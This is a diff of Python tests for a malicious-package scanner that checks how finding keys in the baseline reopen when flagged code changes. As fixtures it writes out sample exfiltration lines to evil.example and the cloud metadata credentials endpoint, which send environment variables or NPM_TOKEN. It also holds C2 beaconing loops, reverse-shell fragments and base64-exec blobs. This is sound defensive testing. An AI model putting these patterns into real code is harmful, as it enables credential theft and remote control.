+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"
+    new = (
+        "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "
+        "{headers: steal})\n"
+    )
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
+def test_load_baseline_skips_non_dict_entries(tmp_path):
+    # A malformed current-schema baseline (non-dict entries, or a non-object root)
+    # must not crash the loader; bad entries are skipped, valid ones still load.
+    bl = tmp_path / "bad.json"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": snp._BASELINE_SCHEMA_VERSION,
+                "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],
+            }
+        ),
+        encoding = "utf-8",
+    )
+    keys = snp._load_baseline(str(bl))
+    assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}
+    # A non-object root is rejected with a warning, not a crash.
+    arr = tmp_path / "arr.json"
+    arr.write_text("[1, 2, 3]", encoding = "utf-8")
+    assert snp._load_baseline(str(arr)) == set()
+
+
 def test_legacy_schema_baseline_is_ignored(tmp_path):
     # A pre-v2 baseline stored basenames; its keys are ambiguous under
     # package-relative matching, so a populated legacy file is ignored (fail
@@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):
     assert snp._load_baseline(str(bl)) == set()
 
 
+def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):
+    # v2 shares v3's package-relative keying, so its entries migrate (the hash is
+    # recomputed from stored evidence) rather than being thrown away, matching the
+    # Python loader. An unchanged finding stays suppressed.
+    bl = tmp_path / "v2.json"
+    evidence = "fetch('http://ok')"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": 2,
+                "entries": [
+                    {
+                        "package": "left-pad",
+                        "file": "package/dist/index.js",
+                        "pattern": "obfuscated-blob",
+                        "severity": snp.HIGH,
+                        "evidence": evidence,
+                    }
+                ],
+            }
+        ),
+        encoding = "utf-8",
+    )
+    finding = _finding(
+        "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = evidence
+    )
+    assert snp._finding_key(finding) in snp._load_baseline(str(bl))
+
+
+def test_outbound_cred_surface_host_config_binds_full_context():
+    # The host-config branch captures the whole line (path + headers), so changing
+    # the outbound headers/body on the same hostname line reopens the key.
+    pkg = snp.PackageEntry(
+        name = "evil",
+        version = "1.0.0",
+        resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",
+        integrity = "sha512-test",
+        lockfile_key = "node_modules/evil",
+    )
+    path = "/latest/meta-data/iam/security-credentials/role-name"
+    old = (
+        "const opts = {hostname: '169.254.169.254', "
+        f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"
+    )
+    new = (
+        "const opts = {hostname: '169.254.169.254', "
+        f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"
+    )
+    of = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", old)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    nf = [
+        f
+        for f in snp.scan_text_blob(pkg, "package/index.js", new)
+        if f.pattern == "cred-surface-host (outbound)"
+    ][0]
+    assert snp._finding_key(of) != snp._finding_key(nf)
+
+
 def test_committed_baseline_is_empty_and_valid():
     # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
     path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 91331668d6..48e6da5f66 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live():
     assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")
 
 
-def _mk(sev, pkg, fname, check):
-    return sp.Finding(sev, pkg, fname, check, "evidence")
+def _mk(
+    sev,
+    pkg,
+    fname,
+    check,
+    evidence = "evidence",
+):
+    return sp.Finding(sev, pkg, fname, check, evidence)
 
 
 def test_baseline_key_version_stable_but_path_specific():
     a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")
     b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")
-    # Same package-relative path across versions -> same key (stable).
+    # Same package-relative path + same matched code across versions -> same key.
     assert sp._finding_key(a) == sp._finding_key(b)
     # Same basename in a different path -> different key (no over-suppression).
     c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")
     assert sp._finding_key(a) != sp._finding_key(c)
 
 
+def test_baseline_key_line_shift_stable_but_code_specific():
+    # The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that
+    # only shifts line numbers keeps the key stable...
+    base = _mk(
+        sp.CRITICAL,
+        "botocore",
+        "botocore/utils.py",
+        "Harvests environment variables/secrets AND makes network calls",
+        "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",
+    )
+    shifted = _mk(
+        sp.CRITICAL,
+        "botocore",
+        "botocore/utils.py",
+        "Harvests environment variables/secrets AND makes network calls",
+        "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",
+    )
+    assert sp._finding_key(base) == sp._finding_key(shifted)
+    # ...but a NEW payload in the same file/check (different matched code) does
+    # not inherit the suppression -- this is the supply-chain bypass we close.
+    malicious = _mk(
+        sp.CRITICAL,
+        "botocore",
+        "botocore/utils.py",
+        "Harvests environment variables/secrets AND makes network calls",
+        "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
+    )
+    assert sp._finding_key(base) != sp._finding_key(malicious)
+
+
+def test_extract_evidence_records_all_matches():
+    # The whole point of P1: a match appended after the first few must show up
+    # in the evidence, so it changes the key instead of riding the earlier ones.
+    src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))
+    ev = sp._extract_evidence(src, sp.RE_NETWORK)
+    assert ev.count("requests.get(") == 6
+
+
+def test_baseline_key_reopens_on_appended_match():
+    # A reviewed file already trips a check with several matches; a later exfil
+    # call appended to the same file/check must reopen the finding.
+    base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))
+    payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"
+    base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))
+    payload = _mk(
+        sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)
+    )
+    assert sp._finding_key(base) != sp._finding_key(payload)
+
+
+def test_baseline_key_inner_line_marker_is_not_stripped():
+    # Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched
+    # code is part of the code, so changing it must reopen the finding...
+    a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")
+    b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")
+    assert sp._finding_key(a) != sp._finding_key(b)
+    # ...while only the leading marker (line number) changing stays stable.
+    c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")
+    assert sp._finding_key(a) == sp._finding_key(c)
+
+
+def test_baseline_key_indentation_is_significant():
+    # Moving a flagged line out of a guarded block (dedent) changes executable
+    # context, so the same code at a different indent must reopen the finding.
+    guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5:     requests.get(url)")
+    top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")
+    assert sp._finding_key(guarded) != sp._finding_key(top_level)
+
+
+def test_canon_evidence_keeps_bitwise_or_in_a_span():
+    # ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside
+    # matched code (bitwise OR, typing.Union) is code, so changing an operand
+    # must reopen the finding instead of deduping to the same key.
+    a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")
+    b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")
+    assert sp._finding_key(a) != sp._finding_key(b)
+    # The OR survives canonicalization as one span (not split on the pipe).
+    assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"
+
+
+def test_extract_evidence_caps_long_line_but_binds_tail():
+    # A long (e.g. minified) line is not dumped verbatim: the display is bounded to
+    # a prefix, but a sha256 of the full line is appended so a payload past the cut
+    # still changes the key instead of being silently clipped.
+    marker = "EXFIL_PAST_CAP"
+    pad = "# " + " " * 300
+    line = "requests.get('http://a')  " + pad + marker
+    ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)
+    assert marker not in ev  # tail past the cap is not shown verbatim
+    assert "sha256:" in ev  # but it is pinned by a digest
+    assert len(ev) < len(line)  # bounded, not the whole minified line
+    base = sp._extract_evidence("requests.get('http://a')  " + pad + "x\n", sp.RE_NETWORK)
+    assert sp._evidence_hash(ev) != sp._evidence_hash(base)
+
+
+def test_extract_evidence_binds_call_continuation_past_12_lines():
+    # A matched call that stays open well beyond the old 12-line continuation cap
+    # still binds its later arguments: a changed body on a deep continuation line
+    # (here ~22 lines in) must reopen instead of riding the first 12 lines.
+    head = "requests.post('http://h',\n"
+    middle = "".join(f"    opt{i} = ({i}),\n" for i in range(20))
+    old = head + middle + "    data = {'x': 'old'},\n)\n"
+    new = head + middle + "    data = {'x': 'evil'},\n)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_logical_line_end_follows_backslash_continuation():
+    # A call split with an explicit backslash before the parenthesis must still
+    # bind the continuation line, so changing the URL on the next physical line
+    # reopens instead of returning at the zero-depth API line.
+    old = "requests.post \\\n    ('http://old/x', data = 1)\n"
+    new = "requests.post \\\n    ('http://evil/x', data = 1)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_logical_line_end_blanks_multiline_triple_string():
+    # A ) inside a triple-quoted string argument must not close the call early; the
+    # data= after the closing triple-quote must still bind so a changed payload
+    # reopens (a per-line string blanker cannot mask a multi-line string).
+    old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'
+    new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_binds_call_embedded_in_string():
+    # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a
+    # setup.py payload) must still bind its argument lines. Blanking the multi-line
+    # string must not shrink the span below the legacy single-line view: the union
+    # of both views keeps the URL argument bound so a changed payload reopens.
+    src = (
+        'PAYLOAD = """\n'
+        "urllib.request.urlretrieve(\n"
+        '    "http://evil/old.pyz",\n'
+        '    "/tmp/x.pyz",\n'
+        ")\n"
+        '"""\n'
+    )
+    eo = sp._extract_evidence(src, sp.RE_NETWORK)
+    en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)
+    assert "L3" in eo  # the URL argument line is bound, not just the API line
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_overflow_digest_is_line_shift_stable():
+    # The overflow digest canonicalizes (strips L<NN>: markers), so inserting an
+    # unrelated line above the overflow region does not change it (line-shift
+    # stability), while a real payload change inside the overflow still reopens.
+    n = sp._MAX_EVIDENCE_SPANS
+    src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))
+    sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
+    e_a = sp._extract_evidence(src, sp.RE_NETWORK)
+    assert "more) sha256:" in e_a
+    e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)
+    assert sha(e_a) == sha(e_shift)  # a pure line shift does not change the digest
+    e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)
+    assert sha(e_a) != sha(e_chg)  # a real change in the overflow region reopens
+
+
+def test_extract_evidence_overflow_is_streamed_and_bounded():
+    # Past the display cap the evidence streams overflow spans into one digest
+    # instead of materializing a rendered span per match, so a file with far more
+    # matches than the cap yields a bounded string (at most cap spans plus the
+    # "(+N more)" digest line) while N counts every overflow match and a change to
+    # an over-cap match still reopens.
+    n = sp._MAX_EVIDENCE_SPANS
+    src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))
+    ev = sp._extract_evidence(src, sp.RE_NETWORK)
+    assert ev.count(" sha256:") == 1  # only the overflow digest, no per-span digests
+    assert "(+500 more)" in ev  # every match past the cap is counted
+    # bounded: exactly cap rendered spans plus the single "(+N more)" marker
+    assert len(ev.split(" | ")) == n + 1
+    sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)
+    chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)
+    assert sha(ev) != sha(chg)  # an over-cap payload change reopens
+
+
+def test_extract_evidence_same_line_close_then_open_binds_call():
+    # A continued statement that closes on the same physical line that opens a
+    # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket
+    # count, dropping the call's `(` so the scan would stop at the opener line.
+    # Order-aware counting keeps the opener, so the argument lines bind and a
+    # changed body on a continuation line reopens.
+    old = "x = [a]; requests.post(\n  'http://h/old',\n  data=secret,\n)\n"
+    new = "x = [a]; requests.post(\n  'http://h/old',\n  data=EVIL,\n)\n"
+    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+        sp._extract_evidence(new, sp.RE_NETWORK)
+    )
+
+
+def test_extract_evidence_backslash_continued_string_binds_tail():
+    # A single-quoted string can continue across lines with a trailing backslash.
+    # The `)` inside that continued string on the next line must not be counted as
+    # code and close the call early, or a changed argument after it would not
+    # reopen. The blanker tracks the continuation so the whole call binds.
+    old = "requests.post('http://h\\\n/path)', data='old')\n"
+    new = "requests.post('http://h\\\n/path)', data='EVIL')\n"
+    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+        sp._extract_evidence(new, sp.RE_NETWORK)
+    )
+
+
+def test_extract_evidence_long_call_tail_past_soft_cap_reopens():
+    # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still
+    # followed to its real close under the hard limit, so a changed payload on a
+    # continuation line well past the soft cap reopens instead of riding the first
+    # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.
+    mid = "\n".join(f"  opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))
+    old = "requests.post(\n" + mid + "\n  data='old',\n)\n"
+    new = "requests.post(\n" + mid + "\n  data='EVIL',\n)\n"
+    assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(
+        sp._extract_evidence(new, sp.RE_NETWORK)
+    )
+
+
+def test_extract_evidence_fallback_line_numbers_are_correct():
+    # The DOTALL fallback maps match offsets to line numbers via precomputed
+    # newline offsets (bisect, not a quadratic content.count per match); guard that
+    # the mapping is exact so a cross-line match is recorded at its true line and a
+    # changed continuation reopens.
+    content = "x = 1\ny = 2\nwhile True:\n    time.sleep(60)\n    requests.get('http://a/old')\n"
+    e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)
+    e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)
+    assert "L3" in e1  # the while-True loop starts on line 3, not line 1
+    assert sp._evidence_hash(e1) != sp._evidence_hash(e2)
+
+
+def test_large_js_bundle_pins_whole_content_when_other_finding_fires():
+    # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds
+    # the whole bundle, so changing payload code elsewhere (obfuscation line
+    # unchanged) reopens rather than riding the matched signature line.
+    obf = "var _0xabcd = function(){};\n"
+    pad = "// filler\n" * 11000  # push the file over the 100 KB large-bundle bar
+    fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")
+    fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")
+    co = [f for f in fo if "hex-var obfuscation" in f.check][0]
+    cn = [f for f in fn if "hex-var obfuscation" in f.check][0]
+    assert "bundle-sha256:" in co.evidence
+    assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)
+
+
+def test_pth_catch_all_import_evidence_is_bounded_but_reopens():
+    # A large .pth made only of benign-looking imports is bounded in the evidence
+    # (prefix plus digest), not dumped in full, yet still reopens when an import
+    # line changes because the digest covers every line.
+    base = "".join(f"import mod{i}\n" for i in range(200))
+    fo = [
+        f
+        for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")
+        if "executable import line" in f.check
+    ]
+    fn = [
+        f
+        for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")
+        if "executable import line" in f.check
+    ]
+    assert fo and fn
+    assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)
+    assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)
+
+
+def test_extract_evidence_records_all_multiline_matches():
+    # The DOTALL fallback must record every distinct cross-line match, so a second
+    # long-sleep appended below an already-flagged one reopens the finding.
+    one = "foo = time.sleep(\n    600\n)\n"
+    two = one + "bar = time.sleep(\n    900\n)\n"
+    ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)
+    ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)
+    assert ev2.count("time.sleep(") == 2  # both matches, not just the first
+    assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)
+
+
+def test_multiline_evidence_reopens_on_continuation_change():
+    # A DOTALL match records every line it spans, so changing the URL inside an
+    # already-flagged C2 loop (a continuation line) reopens the finding...
+    old = "while True:\n    time.sleep(60)\n    requests.get('http://old.example/poll')\n"
+    new = "while True:\n    time.sleep(60)\n    requests.get('http://evil.example/c2')\n"
+    fo = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/loop.py",
+        "C2 polling/beaconing loop detected",
+        sp._extract_evidence(old, sp.RE_C2_POLLING),
+    )
+    fn = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/loop.py",
+        "C2 polling/beaconing loop detected",
+        sp._extract_evidence(new, sp.RE_C2_POLLING),
+    )
+    assert sp._finding_key(fo) != sp._finding_key(fn)
+    # ...while a benign line shift of the same loop stays stable.
+    shifted = _mk(
+        sp.CRITICAL,
+        "p",
+        "p/loop.py",
+        "C2 polling/beaconing loop detected",
+        sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),
+    )
+    assert sp._finding_key(fo) == sp._finding_key(shifted)
+
+
+def test_extract_evidence_bounds_pathological_multiline_span():
+    # A greedy DOTALL span is capped to its head line plus a digest of the rest,
+    # so evidence stays bounded while still binding the full match.
+    big = "vmware\n" + "x\n" * 50 + "detect\n"
+    ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)
+    assert "sha256:" in ev and ev.count("\n") <= 1
+
+
+def test_canon_evidence_keeps_duplicate_spans():
+    # A second identical matched line in a new code path must change the key, so
+    # an appended duplicate payload occurrence is not deduped to the same hash.
+    one = "    requests.post(url, data=env)"
+    base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")
+    dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")
+    assert sp._finding_key(base) != sp._finding_key(dup)
+
+
+def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():
+    # Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring
+    # inside the code must be kept, so changing the code before it reopens.
+    base = _mk(
+        sp.HIGH,
+        "p",
+        "p/x.pth",
+        ".pth has 1 executable import line(s)",
+        "import os; note='L7: same_suffix'",
+    )
+    changed = _mk(
+        sp.HIGH,
+        "p",
+        "p/x.pth",
+        ".pth has 1 executable import line(s)",
+        "import urllib.request; note='L7: same_suffix'",
+    )
+    assert sp._finding_key(base) != sp._finding_key(changed)
+
+
+def test_capped_multiline_digest_is_line_shift_stable():
+    # A span over the cap is digested from markerless code, so a pure line shift
+    # of the same span stays stable while a code change still reopens.
+    src = (
+        "while True:\n"
+        + "    x = 1\n" * 20
+        + "    time.sleep(60)\n    requests.get('http://old.example/poll')\n"
+    )
+    e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)
+    e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)
+    assert "sha256:" in e1  # span exceeded the cap
+    assert sp._evidence_hash(e1) == sp._evidence_hash(e2)
+    changed = src.replace("http://old.example/poll", "http://evil.example/c2")
+    assert sp._evidence_hash(e1) != sp._evidence_hash(
+        sp._extract_evidence(changed, sp.RE_C2_POLLING)
+    )
+
+
+def test_canon_evidence_strips_punctuation_label_marker():
+    # A label with punctuation (network+exec:) must still be stripped, so the
+    # line number alone does not change the key.
+    a = "network+exec: L12: subprocess.run(['id'])"
+    b = "network+exec: L99: subprocess.run(['id'])"
+    assert sp._evidence_hash(a) == sp._evidence_hash(b)
+
+
+def test_extract_evidence_binds_call_continuation_lines():
+    # A multi-line network call binds its argument lines, so a changed URL on a
+    # continuation line reopens even though the line with the API name is unchanged.
+    old = "requests.post(\n    'http://old.example',\n    data=env,\n)\n"
+    new = "requests.post(\n    'http://evil.example',\n    data=env,\n)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert "old.example" in eo and "evil.example" in en
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_extract_evidence_records_multiline_after_oneline():
+    # A one-line C2 match no longer suppresses a later multi-line C2 loop: the
+    # appended cross-line construct is recorded too, so it cannot ride the key.
+    oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"
+    appended = oneline + "while True:\n    time.sleep(30)\n    requests.get('http://evil/c2')\n"
+    eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)
+    ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)
+    assert "evil" in ea
+    assert sp._evidence_hash(eo) != sp._evidence_hash(ea)
+
+
+def test_extract_evidence_giant_span_binds_full_interior():
+    # A giant greedy DOTALL span bridging anchors across the whole file is bound by
+    # a digest of its full content (not just the outer anchors), so a cross-line
+    # payload inserted into the bridged interior between unchanged outer anchors
+    # reopens instead of riding the key. (Binding only head/tail would fail open on
+    # an interior insertion.) A pure line shift still stays stable.
+    gap = "\n".join(f"    x = {i}" for i in range(70))
+    base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"
+    # interior insertion of a cross-line payload between the unchanged outer anchors
+    injected = base.replace("    x = 35", "    x = 35\n    sock.connect(evilhost)")
+    ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)
+    ei = sp._extract_evidence(injected, sp.RE_REVERSE_SHELL)
+    assert "sha256:" in ea  # full interior bound by a digest
+    assert sp._evidence_hash(ea) != sp._evidence_hash(ei)  # interior change reopens
+    shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)
+    assert sp._evidence_hash(ea) == sp._evidence_hash(shifted)  # pure shift stable
+
+
+def test_extract_evidence_giant_span_appended_payload_reopens():
+    # The anchor binding must reopen when an appended cross-line payload extends the
+    # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a
+    # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no
+    # single line so the per-line pass never binds them) moves the span's tail
+    # anchor, so the evidence changes instead of riding the unchanged key.
+    existing = "import os\n/tmp/x; subprocess.run(['id'])\n"
+    gap = "\n".join(f"    pad{i} = {i}" for i in range(65))
+    appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"
+    base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)
+    app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)
+    assert sp._evidence_hash(base) != sp._evidence_hash(app)
+    # a pure line shift of the same payload does not reopen
+    shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)
+    assert sp._evidence_hash(app) == sp._evidence_hash(shifted)
+
+
+def test_hidden_payload_binds_visible_exec_trigger():
+    # The hidden-payload finding binds the visible exec/eval line that makes the
+    # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which
+    # now runs the same hidden network+exec payload) reopens instead of riding the
+    # key on the unchanged hidden text.
+    hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'
+    benign = hidden + 'eval("1+1")\n'
+    armed = hidden + "exec(__doc__)\n"
+
+    def key(src):
+        return [
+            sp._finding_key(f)
+            for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")
+            if "hidden network+exec" in f.check
+        ][0]
+
+    assert key(benign) != key(armed)
+
+
+def test_js_finding_pins_full_content_digest():
+    # A JS finding pins the full file content digest, so a backtick template literal
+    # that closes the bracket span early cannot let later option/body lines change
+    # without reopening (the Python-string-aware extractor would otherwise omit
+    # them). Holds for small files too, not just large bundles.
+    old = "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'OLD'})\n"
+    new = "window.ethereum.request(`tpl with ) paren`,\n  {method: 'eth', body: 'EVIL'})\n"
+    fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]
+    fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]
+    assert "bundle-sha256:" in fo.evidence
+    assert sp._finding_key(fo) != sp._finding_key(fn)
+
+
+def test_extract_evidence_binds_moderate_appended_dotall_span():
+    # A multi-line construct appended under a check that already has a one-line
+    # match is still recorded when it is not a giant whole-file bridge, so its
+    # payload reopens instead of riding the old one-line match.
+    one = "while True: time.sleep(60); requests.get('http://a/poll')\n"
+    gap = "\n".join(f"    x = {i}" for i in range(20))
+    old = one + "while True:\n" + gap + "\n    requests.get('http://old/c2')\n"
+    new = one + "while True:\n" + gap + "\n    requests.get('http://evil/c2')\n"
+    eo = sp._extract_evidence(old, sp.RE_C2_POLLING)
+    en = sp._extract_evidence(new, sp.RE_C2_POLLING)
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_canon_evidence_reorder_reopens():
+    # Reordering matched lines changes executable context, so the key reopens
+    # (the canon preserves discovery order rather than sorting).
+    a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"
+    b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"
+    assert sp._evidence_hash(a) != sp._evidence_hash(b)
+
+
+def test_logical_line_end_ignores_brackets_in_strings():
+    # A ) inside a string argument must not close the call early, so later
+    # argument lines still bind and a changed payload there reopens.
+    old = "requests.post('http://h/p)',\n    data=secret_old,\n)\n"
+    new = "requests.post('http://h/p)',\n    data=secret_new,\n)\n"
+    eo = sp._extract_evidence(old, sp.RE_NETWORK)
+    en = sp._extract_evidence(new, sp.RE_NETWORK)
+    assert "data=secret_old" in eo
+    assert sp._evidence_hash(eo) != sp._evidence_hash(en)
+
+
+def test_base64_exec_blob_finding_binds_every_blob():
+    # The base64+exec+blob finding digests every blob, so appending a second
+    # encoded payload reopens even when the first blob and decode line are unchanged.
+    head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"
+    old = head
+    new = head + "blob2 = '" + "B" * 220 + "'\n"
+    fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]
+    fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_pth_large_blob_finding_binds_every_blob():
+    # The .pth large-blob finding digests every blob, so appending a second
+    # encoded payload reopens rather than riding the unchanged first blob.
+    old = "import os\n" + "X" * 220 + "\n"
+    new = old + "Y" * 220 + "\n"
+    fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]
+    fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_pth_unusually_large_finding_is_content_bound():
+    # Two different payloads of equal size and import count must get different
+    # keys: the finding now pins the .pth content via a digest.
+    a = [
+        f
+        for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")
+        if f.check.startswith("Unusually large executable .pth")
+    ]
+    b = [
+        f
+        for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")
+        if f.check.startswith("Unusually large executable .pth")
+    ]
+    assert a and b
+    assert "sha256:" in a[0].evidence
+    assert sp._finding_key(a[0]) != sp._finding_key(b[0])
+
+
+def test_js_token_network_finding_binds_network_evidence():
+    # The JS stealer combo records both the token AND the network call, so a
+    # changed exfil endpoint reopens (RE_NETWORK-recognized call used here).
+    old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"
+    new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"
